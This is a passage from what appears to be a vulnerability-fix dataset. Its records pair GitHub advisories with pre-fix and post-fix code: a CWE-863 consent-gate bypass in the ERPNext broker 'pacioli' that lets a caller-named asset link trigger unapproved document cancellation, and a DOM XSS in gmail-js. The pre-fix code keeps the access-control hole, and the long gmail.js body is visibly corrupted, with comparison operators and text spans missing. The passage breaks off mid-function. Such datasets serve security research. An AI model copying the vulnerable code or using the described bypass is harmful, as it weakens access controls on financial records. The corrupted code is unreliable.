consequences, but at least one is caller-steered in\n exactly the shape that was just closed on the submit side: ``Asset Repair.on_cancel``\n (``asset_repair.py:222``) calls ``cancel_sabb`` (``:215-220``), which does\n ``frappe.get_doc(\"Serial and Batch Bundle\", row.serial_and_batch_bundle).cancel()`` on a bare\n ``Link`` the caller fills in the ``stock_items`` child table. So \"an undo may cascade into undos\"\n is the JUSTIFICATION for this residual, not a description of everything it admits.\n\n It stays open because it is load-bearing for UNDO and cannot be narrowed without a signal that a\n cascaded cancel is a consequence OF THE ENCLOSING DOCUMENT specifically. frappe's link tables are\n the candidate and have not been walked, so nothing about them is asserted here.\n \"\"\"\n if action == CANCEL:\n return enclosing_act == CANCEL\n return _flag_get(doc, _CREATED_IN_ACT) or _flag_get(doc, \"in_insert\")\n\n"
+pre_fix = "def _may_ride(doc, action):\n \"\"\"May this act ride the consent established for the enclosing act it is a consequence of?\n\n Split by ACT, because the signal that answers \"the human could not have named this document\"\n only exists on one of them.\n\n **SUBMIT — require ``flags.in_insert``.** The document must have been CREATED by the act, not\n merely NAMED during it. Riding on \"an enclosing governed act is in progress\" alone licensed\n pre-existing drafts the caller named in the request body: submitting a Sales Invoice with\n ``update_stock`` carries the item row's ``serial_and_batch_bundle`` LINK straight out of the body\n (``stock_controller.py:1069``), and ``serial_batch_bundle.py:441-449`` then does\n ``frappe.get_doc(\"Serial and Batch Bundle\", )`` and submits it. ``in_insert`` is\n frappe's own signal for the distinction, set at ``model/document.py:478`` immediately before\n ``run_before_save_methods()`` at ``:479`` fires ``before_submit`` and cleared at ``:482``.\n\n **CANCEL — ``in_insert`` is structurally impossible, so requiring it refuses everything.** That\n was the 0.9.4 regression, and it is the reason this function exists as its own predicate.\n ``in_insert`` is written in exactly one place in frappe 16 — ``Document.insert`` (``:478``/``:482``\n and ``:499``/``:507``). ``Document._cancel`` (``:1324-1326``) sets ``docstatus = 2`` and calls\n ``save()`` -> ``_save()``, which never sets it; and a document being cancelled has a name and is\n not ``__islocal``, so ``_save`` never delegates to ``insert()`` (``:571-572``). So the flag is\n FALSE at every ``before_cancel`` frappe can produce, so the ride condition is UNSATISFIABLE on\n that path by any input: a cascaded cancel could only ever fall through to the marker check and be\n refused, for a document name no human could have minted a marker against.\n\n **How badly that bites was measured, not assumed** (live, public bench, 2026-07-26 —\n ``deploy/bench/live-proof-095-cancel.py``). A governed Sales Invoice CANCEL on 0.9.4 **succeeded**:\n docstatus 2, no refusal. ERPNext reverses that ledger through ``make_reverse_gl_entries`` and\n ``db_set``-style writes which skip the document lifecycle entirely — the residual this module\n already publishes — so nothing reached ``before_cancel`` on a second document and there was\n nothing for the dead ride to deny. **The defect is therefore LATENT, not active**, and the first\n draft of this docstring claimed the opposite before the bench was asked. It bites the first time\n any code — ERPNext's or an adopter's — cancels a second document through the lifecycle inside a\n governed cancel. Fail-CLOSED either way, so never an escape.\n\n **STATED RESIDUAL, not a closed hole.** On the cancel path this restores exactly the 0.9.3\n predicate — an enclosing act that established its own consent licenses the cancels nested under\n it — so a cancel of a PRE-EXISTING document that a caller can steer ERPNext into performing\n inside a governed act would ride. No such lever is known (the amplification vector that motivated\n 0.9.4 reaches ``get_doc().submit()``, not ``.cancel()``), but \"none known\" is not \"none\",\n and the honest place for that is here rather than a claim that it is closed. Narrowing it needs a\n signal that a cascaded cancel is a CONSEQUENCE of the enclosing document — frappe's own\n link-cancel machinery is the candidate, and it has not been walked yet, so it is not asserted.\n \"\"\"\n if action == CANCEL:\n return True\n return _flag_get(doc, \"in_insert\")\n\n"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "run_doctor"
+function_lines = [[939, 990]]
+id = "john-broadway-pacioli-b3ff7c846381ada8"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "broker/pacioli/doctor.py"
+post_fix = "def run_doctor(env, *, target_name=None, offline=False,\n read_file=None, transport=default_transport, findings_out=None):\n \"\"\"Run every check; return ``(exit_code, lines)``. Exit is 0 only with zero failures.\n\n ``findings_out``: an optional list that receives the STRUCTURED ``(level, message)`` tuples as\n they are produced. It exists so `pacioli receipt` never has to parse the display strings back\n into data — the formatted line is a rendering, and reconstructing data from a rendering is how\n a display change silently becomes a logic change.\n \"\"\"\n if read_file is None:\n read_file = lambda p: Path(p).read_text(encoding=\"utf-8\") # noqa: E731\n lines, failed = [\"pacioli doctor — config & readiness (read-only)\"], False\n\n reg_findings, registry = check_registry(env)\n for level, msg in reg_findings:\n failed |= level == FAIL\n lines.append(_PREFIX[level] + msg)\n if findings_out is not None:\n findings_out.append((level, msg))\n if registry is None:\n return 1, lines\n\n try:\n targets = [registry.get(target_name)] if target_name else \\\n [registry.get(n) for n in registry.names()]\n except RegistryError as exc:\n return 1, lines + [_PREFIX[FAIL] + str(exc)]\n\n for target in targets:\n lines.append(f\"[target {target.name}]\")\n # Routed through findings_out like every other line, deliberately. This is the ONE line\n # carrying the operator's hostname, so it is exactly the line the receipt's redaction must\n # be proven against — leaving it out would make the artifact clean by omission rather than\n # by mechanism, and an untested redactor is not a redactor.\n _base = (_PREFIX[OK] + f\"base_url: {target.base_url}\"\n + (f\" (company-pinned: {target.company})\" if target.company else \"\"))\n lines.append(_base)\n if findings_out is not None:\n findings_out.append((OK, _base[len(_PREFIX[OK]):]))\n findings = check_credentials(target, env, read_file)\n findings += check_state(env, target.name)\n if offline:\n findings.append(_finding(WARN, \"bench probe, Company-read probe, workflow-read probe, \"\n \"Accounts-Settings-read probe, PCV-read probe, \"\n \"Accounting-Period-read probe, \"\n \"Payment-Ledger-Entry-read probe, GL-Entry-read probe, \"\n \"Repost-read probe, roles probe, and \"\n \"belt-exemptions probe skipped (--offline)\"))\n else:\n findings += probe_bench(target, env, read_file, transport)\n findings += probe_company_read(target, env, read_file, transport)\n findings += probe_workflow_read(target, env, read_file, transport)\n findings += probe_accounts_settings(target, env, read_file, transport)\n findings += probe_pcv_read(target, env, read_file, transport)\n findings += probe_accounting_period_read(target, env, read_file, transport)\n findings += probe_payment_ledger_read(target, env, read_file, transport)\n findings += probe_gl_entry_read(target, env, read_file, transport)\n findings += probe_repost_read(target, env, read_file, transport)\n findings += probe_roles(target, env, read_file, transport)\n findings += probe_consent(target, env, read_file, transport)\n findings += probe_belt_exemptions(target, env, read_file, transport)\n for level, msg in findings:\n failed |= level == FAIL\n lines.append(_PREFIX[level] + msg)\n if findings_out is not None:\n findings_out.append((level, msg))\n\n lines.append(\"NOT ready — fix the XX lines above.\" if failed else \"ready.\")\n return (1 if failed else 0), lines"
+pre_fix = "def run_doctor(env, *, target_name=None, offline=False,\n read_file=None, transport=default_transport):\n \"\"\"Run every check; return ``(exit_code, lines)``. Exit is 0 only with zero failures.\"\"\"\n if read_file is None:\n read_file = lambda p: Path(p).read_text(encoding=\"utf-8\") # noqa: E731\n lines, failed = [\"pacioli doctor — config & readiness (read-only)\"], False\n\n reg_findings, registry = check_registry(env)\n for level, msg in reg_findings:\n failed |= level == FAIL\n lines.append(_PREFIX[level] + msg)\n if registry is None:\n return 1, lines\n\n try:\n targets = [registry.get(target_name)] if target_name else \\\n [registry.get(n) for n in registry.names()]\n except RegistryError as exc:\n return 1, lines + [_PREFIX[FAIL] + str(exc)]\n\n for target in targets:\n lines.append(f\"[target {target.name}]\")\n lines.append(_PREFIX[OK] + f\"base_url: {target.base_url}\"\n + (f\" (company-pinned: {target.company})\" if target.company else \"\"))\n findings = check_credentials(target, env, read_file)\n findings += check_state(env, target.name)\n if offline:\n findings.append(_finding(WARN, \"bench probe, Company-read probe, workflow-read probe, \"\n \"Accounts-Settings-read probe, PCV-read probe, \"\n \"Accounting-Period-read probe, \"\n \"Payment-Ledger-Entry-read probe, GL-Entry-read probe, \"\n \"Repost-read probe, roles probe, and \"\n \"belt-exemptions probe skipped (--offline)\"))\n else:\n findings += probe_bench(target, env, read_file, transport)\n findings += probe_company_read(target, env, read_file, transport)\n findings += probe_workflow_read(target, env, read_file, transport)\n findings += probe_accounts_settings(target, env, read_file, transport)\n findings += probe_pcv_read(target, env, read_file, transport)\n findings += probe_accounting_period_read(target, env, read_file, transport)\n findings += probe_payment_ledger_read(target, env, read_file, transport)\n findings += probe_gl_entry_read(target, env, read_file, transport)\n findings += probe_repost_read(target, env, read_file, transport)\n findings += probe_roles(target, env, read_file, transport)\n findings += probe_consent(target, env, read_file, transport)\n findings += probe_belt_exemptions(target, env, read_file, transport)\n for level, msg in findings:\n failed |= level == FAIL\n lines.append(_PREFIX[level] + msg)\n\n lines.append(\"NOT ready — fix the XX lines above.\" if failed else \"ready.\")\n return (1 if failed else 0), lines"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "cmd_doctor"
+function_lines = [[1525, 1535]]
+id = "john-broadway-pacioli-f63aa31ecca38c1c"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "broker/pacioli/cli.py"
+post_fix = "def cmd_doctor(env, target, offline, receipt=False):\n \"\"\"Read-only config & readiness report. Exit 0 only when zero checks fail.\n\n ``receipt``: render the run as one pasteable artifact instead of the operator-facing report.\n It goes to STDOUT alone (even on failure) so `pacioli doctor --receipt > r.txt` is the whole\n workflow. Nothing is transmitted — see pacioli/receipt.py; sharing it is a human act.\n \"\"\"\n from pacioli.doctor import run_doctor\n\n findings = [] if receipt else None\n code, lines = run_doctor(env, target_name=target, offline=offline, findings_out=findings)\n if receipt:\n from datetime import datetime, timezone\n\n from pacioli import __version__\n from pacioli.receipt import render\n # The clock lives at this impure edge on purpose: `render` stays a pure function so the\n # same findings always produce the same artifact.\n print(render(findings, version=__version__,\n generated_at=datetime.now(timezone.utc).strftime(\"%Y-%m-%dT%H:%M:%SZ\")),\n end=\"\")\n return code\n out = sys.stdout if code == 0 else sys.stderr\n for line in lines:\n print(line, file=out)\n return code\n\n"
+pre_fix = "def cmd_doctor(env, target, offline):\n \"\"\"Read-only config & readiness report. Exit 0 only when zero checks fail.\"\"\"\n from pacioli.doctor import run_doctor\n\n code, lines = run_doctor(env, target_name=target, offline=offline)\n out = sys.stdout if code == 0 else sys.stderr\n for line in lines:\n print(line, file=out)\n return code\n\n"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-c7pp-g2v2-2766"
+advisory_text = "DOM-based XSS in gmail-js\n\nAffected versions of `gmail-js` are vulnerable to cross-site scripting in the `tools.parse_response`, `helper.get.visible_emails_post`, and `helper.get.email_data_post` functions, which pass user input directly into the Function constructor.\n\n\n\n## Recommendation\n\nUpdate to version 0.6.5 or later."
+commit = "a83436f499f9c01b04280af945a5a81137b6baf1"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "function"
+function_lines = [[7, 2792]]
+id = "kartiktalwar-gmail.js-301ae79245460d39"
+language = "javascript"
+method = "fix_site"
+parent = "0e4732cb6c6c447d7f0487580ad7ada33184be92"
+path = "src/gmail.js"
+post_fix = "var Gmail_ = function(localJQuery) {\n\n /*\n Use the provided \"jQuery\" if possible, in order to avoid conflicts with\n other extensions that use $ for other purposes.\n */\n var $;\n if (typeof localJQuery !== \"undefined\") {\n $ = localJQuery;\n } else if (typeof jQuery !== \"undefined\") {\n $ = jQuery;\n } else {\n // try load jQuery through node.\n try {\n $ = require(\"jquery\");\n }\n catch(err) {\n // else leave $ undefined, which may be fine for some purposes.\n }\n }\n\n var api = {\n get : {},\n observe : {},\n check : {},\n tools : {},\n tracker : {},\n dom : {},\n chat : {},\n compose : {},\n helper : {get: {}}\n };\n\n api.version = \"0.6.4\";\n api.tracker.globals = typeof GLOBALS !== \"undefined\"\n ? GLOBALS\n : (\n typeof(window) !== \"undefined\" && window.opener !== null && typeof window.opener.GLOBALS !== \"undefined\"\n ? window.opener.GLOBALS\n : []\n );\n api.tracker.view_data = typeof VIEW_DATA !== \"undefined\"\n ? VIEW_DATA\n : (\n typeof(window) !== \"undefined\" && window.opener !== null && typeof window.opener.VIEW_DATA !== \"undefined\"\n ? window.opener.VIEW_DATA\n : []\n );\n api.tracker.ik = api.tracker.globals[9] || \"\";\n api.tracker.hangouts = undefined;\n\n\n api.get.last_active = function() {\n var data = api.tracker.globals[17][15];\n return {\n time : data[1],\n ip : data[3],\n mac_address : data[9],\n time_relative : data[10]\n };\n };\n\n\n api.get.loggedin_accounts = function() {\n var i, j, data;\n var users = [];\n\n var globals17 = api.tracker.globals[17];\n for (i in globals17) {\n // at least for the delegated inboxes, the index of the mla is not stable\n // it was observed to be somewhere between 22 and 24, but we should not depend on it\n data = globals17[i];\n\n if (data[0] === \"mla\") {\n for(j in data[1]) {\n users.push({\n name : data[1][j][4],\n email : data[1][j][0],\n index: data[1][j][3]\n });\n }\n\n return users;\n }\n }\n\n return users;\n };\n\n\n api.get.user_email = function() {\n return api.tracker.globals[10];\n };\n\n\n api.get.manager_email = function() {\n if (api.helper.get.is_delegated_inbox()) {\n return api.get.delegated_to_email();\n }\n\n return api.get.user_email();\n };\n\n\n api.get.delegated_to_email = function() {\n if (!api.helper.get.is_delegated_inbox()) {\n return null;\n }\n\n var i, account;\n var userIndexPrefix = \"/u/\";\n var pathname = window.location.pathname;\n var delegatedToUserIndex = parseInt(pathname.substring(pathname.indexOf(userIndexPrefix) + userIndexPrefix.length), 10);\n\n var loggedInAccounts = api.get.loggedin_accounts();\n if (loggedInAccounts && loggedInAccounts.length > 0) {\n for (i in loggedInAccounts) {\n account = loggedInAccounts[i];\n if (account.index === delegatedToUserIndex) {\n return account.email;\n }\n }\n }\n\n // as a last resort, we query the DOM of the upper right account selection menu\n return $(\".gb_rb[href$='\" + userIndexPrefix + delegatedToUserIndex + \"'] .gb_yb\").text().split(\" \")[0];\n };\n\n api.helper.get.is_locale = function(locale) {\n // A locale is a string that begins with 2 letters, either lowercase or uppercase\n // The \"lowercase\" check distinguishes locales from other 2-letter strings like \"US\"\n // (the user\"s location?).\n if (!locale || ((typeof locale) !== \"string\") || locale.length < 2) {\n return false;\n }\n\n var localePrefix = locale.slice(0, 2);\n return localePrefix.toLowerCase() === localePrefix ||\n localePrefix.toUpperCase() === localePrefix;\n };\n\n api.get.localization = function() {\n var globals = api.tracker.globals;\n\n // First candidate.\n var locale = globals[17] && globals[17][8] && globals[17][8][8];\n if (api.helper.get.is_locale(locale)) {\n return locale.toLowerCase();\n }\n\n // Second candidate.\n locale = globals[17] && globals[17][9] && globals[17][9][8];\n if (api.helper.get.is_locale(locale)) {\n return locale.toLowerCase();\n }\n\n return null;\n };\n\n\n api.check.is_thread = function() {\n var check_1 = $(\".nH .if\").children(\":eq(1)\").children().children(\":eq(1)\").children();\n var check_2 = api.get.email_ids();\n\n return check_1.length > 1 || check_2.length > 1;\n };\n\n\n api.dom.inbox_content = function() {\n return $(\"div[role=main]:first\");\n };\n\n\n api.check.is_preview_pane = function() {\n var dom = api.dom.inbox_content();\n var boxes = dom.find(\"[gh=tl]\");\n\n var previewPaneFound = false;\n boxes.each(function() {\n if($(this).hasClass(\"aia\")) {\n previewPaneFound = true;\n }\n });\n\n return previewPaneFound;\n };\n\n api.check.is_multiple_inbox = function() {\n var dom = api.dom.inboxes();\n return dom.length > 1;\n };\n\n\n api.check.is_horizontal_split = function() {\n var dom = api.dom.inbox_content();\n var box = dom.find(\"[gh=tl]\").find(\".nn\");\n\n return box.length === 0;\n };\n\n\n api.check.is_vertical_split = function() {\n return api.check.is_horizontal_split() === false;\n };\n\n\n api.check.is_tabbed_inbox = function() {\n return $(\".aKh\").length === 1;\n };\n\n\n api.check.is_right_side_chat = function() {\n var chat = $(\".ApVoH\");\n if(chat.length === 0) {\n return false;\n }\n\n return chat[0].getAttribute(\"aria-labelledby\") === \":wf\";\n };\n\n api.check.should_compose_fullscreen = function(){\n var bx_scfs = [];\n try {\n bx_scfs = api.tracker.globals[17][4][1][32];\n } catch(er) {\n bx_scfs = [\"bx_scfs\",\"false\"];\n }\n return (bx_scfs[1] === \"true\" ) ? true : false;\n };\n\n\n api.check.is_google_apps_user =function() {\n var email = api.get.user_email();\n return email.indexOf(\"gmail.com\", email.length - \"gmail.com\".length) === -1;\n };\n\n\n api.get.storage_info = function() {\n var div = $(\".md.mj\").find(\"div\")[0];\n var used = $(div).find(\"span\")[0].text;\n var total = $(div).find(\"span\")[1].text;\n var percent = parseFloat(used.replace(/[^0-9\\.]/g, \"\")) * 100 / parseFloat(total.replace(/[^0-9\\.]/g, \"\"));\n\n return {used : used, total : total, percent : Math.floor(percent)};\n };\n\n\n api.dom.inboxes = function() {\n var dom = api.dom.inbox_content();\n return dom.find(\"[gh=tl]\");\n };\n\n api.dom.email_subject = function () {\n var e = $(\".hP\");\n\n for(var i=0; i 0;\n };\n\n api.check.is_plain_text = function() {\n var settings = GLOBALS[17][4][1];\n\n for (var i = 0; i < settings.length; i++) {\n var plain_text_setting = settings[i];\n if (plain_text_setting[0] === \"bx_cm\") {\n return plain_text_setting[1] === \"0\";\n }\n }\n\n // default to rich text mode, which is more common nowadays\n return false;\n };\n\n api.dom.email_contents = function() {\n var items = $(\".ii.gt div.a3s.aXjCH\");\n var ids = [];\n\n for(var i=0; i 0 && items[i].offsetHeight > 0;\n if(mail_id !== \"undefined\" && mail_id !== undefined && is_visible) {\n if(is_editable !== \"true\") {\n text.push(mail_id);\n }\n }\n }\n\n hash = text[0].substring(1, text[0].length);\n } else {\n hash = window.location.hash.split(\"/\").pop().replace(/#/, \"\").split(\"?\")[0];\n }\n }\n else {\n hash = api.tools.parse_url(window.location.href).th;\n }\n\n return hash;\n };\n\n\n api.check.is_priority_inbox = function() {\n return $(\".qh\").length > 0;\n };\n\n\n api.check.is_rapportive_installed = function() {\n return $(\"#rapportive-sidebar\").length === 1;\n };\n\n\n api.check.is_streak_installed = function() {\n return $(\"[id^='bentoBox'],[id*=' bentoBox'],[class*=' bentoBox'],[class*='bentoBox']\").length > 0;\n };\n\n\n api.check.is_anydo_installed = function() {\n return $(\"[id^='anydo'],[id*=' anydo'],[class*=' anydo'],[class*='anydo']\").length > 0;\n };\n\n\n api.check.is_boomerang_installed = function() {\n return $(\"[id^='b4g_'],[id*=' b4g_'],[class*=' b4g_'],[class*='b4g_']\").length > 0;\n };\n\n\n api.check.is_xobni_installed = function() {\n return $(\"#xobni_frame\").length > 0;\n };\n\n\n api.check.is_signal_installed = function() {\n return $(\"[id^='Signal'],[id*=' Signal'],[class*=' signal'],[class*='signal']\").length > 0;\n };\n\n\n api.check.are_shortcuts_enabled = function() {\n var flag_name = \"bx_hs\";\n var flag_value = undefined;\n\n var check = true; // Flag possibly missing in convo view.\n\n var array_with_flag = api.tracker.globals[17][4][1];\n\n for(var i=0; i 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.split(\":\")[0].replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_draft_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"drafts\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_spam_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"spam\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_forum_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"forums\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_update_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"updates\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_promotion_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"promotions\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.unread_social_emails = function() {\n var dom = $(\"div[role=navigation]\").find(\"[title*='\" + api.tools.i18n(\"social_updates\") + \"']\");\n\n if(dom.length > 0) {\n if(dom[0].text.indexOf(\"(\") !== -1) {\n return parseInt(dom[0].text.replace(/[^0-9]/g, \"\"));\n }\n }\n\n return 0;\n };\n\n\n api.get.beta = function() {\n var features = {\n \"new_nav_bar\" : $(\"#gbz\").length === 0\n };\n\n return features;\n };\n\n\n api.get.unread_emails = function() {\n return {\n inbox : api.get.unread_inbox_emails(),\n drafts : api.get.unread_draft_emails(),\n spam : api.get.unread_spam_emails(),\n forum : api.get.unread_forum_emails(),\n update : api.get.unread_update_emails(),\n promotions : api.get.unread_promotion_emails(),\n social : api.get.unread_social_emails()\n };\n };\n\n\n api.tools.error = function(str) {\n if (console) {\n console.error(str);\n } else {\n throw(str);\n }\n };\n\n api.tools.parse_url = function(url) {\n var regex = 